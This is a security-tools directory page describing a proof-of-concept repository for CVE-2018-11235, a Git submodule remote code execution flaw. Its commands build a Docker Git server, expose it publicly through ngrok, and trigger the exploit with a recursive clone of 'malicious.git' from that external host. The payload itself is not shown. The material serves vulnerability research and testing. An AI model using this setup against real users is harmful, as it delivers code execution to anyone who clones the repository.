Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration — CVE-2018-11235-Git-Submodule-CE + Docker Ngrok Configuration | Kitploit
Tools/GitHubGitHub/twseptian/cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubtwseptian/cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok Configuration

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
4 years agoNot yet reviewed

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok Configuration

CVE-2018-11235-Git PoC and tunneling with docker ngrok

Build Dockerfile

root@kitploit:~
$ docker build -t cve-2018-11235 .

Create custom network for ngrok

root@kitploit:~
$ docker network create myngroknet

Start Git Http Server

root@kitploit:~
$ docker run -d -p 8080:80 --net myngroknet --name cve-2018-11235 cve-2018-11235

Start Ngrok HTTP Server for Git Server

root@kitploit:~
$ docker run -d -p 4040:4040 --net myngroknet --name ngrok wernight/ngrok ngrok http cve-2018-11235:80 --authtoken PUT_YOUR_NGROK_AUTHTOKEN

You can now access the API to find the assigned domain:

root@kitploit:~
$ curl $(docker port www_ngrok 4040)/api/tunnels
{"tunnels":[{"name":"command_line","uri":"/api/tunnels/command_line","public_url":"https://f5fc-116-206-35-27.ngrok.io","proto":"https","config":{"addr":"http://cve-2018-11235:80","inspect":true},"metrics":{"conns":{"count":0,"gauge":0,"rate1":0,"rate5":0,"rate15":0,"p50":0,"p90":0,"p95":0,"p99":0},"http":{"count":0,"rate1":0,"rate5":0,"rate15":0,"p50":0,"p90":0,"p95":0,"p99":0}}},{"name":"command_line (http)","uri":"/api/tunnels/command_line%20%28http%29","public_url":"http://f5fc-116-206-35-27.ngrok.io","proto":"http","config":{"addr":"http://cve-2018-11235:80","inspect":true},"metrics":{"conns":{"count":0,"gauge":0,"rate1":0,"rate5":0,"rate15":0,"p50":0,"p90":0,"p95":0,"p99":0},"http":{"count":0,"rate1":0,"rate5":0,"rate15":0,"p50":0,"p90":0,"p95":0,"p99":0}}}],"uri":"/api/tunnels"}

PoC on Vulnerable Git Server

root@kitploit:~
$ git clone --recurse-submodules http://f5fc-116-206-35-27.ngrok.io/malicious.git

References:

  • CVE-2018-11235 git RCE
  • CVE-2018-11235-Git-Submodule-CE
  • Expose Docker Container services on the Internet using the ngrok docker image
  • wernight/ngrok
  • CVE-2018-11235 - Quick & Dirty PoC
Download Tool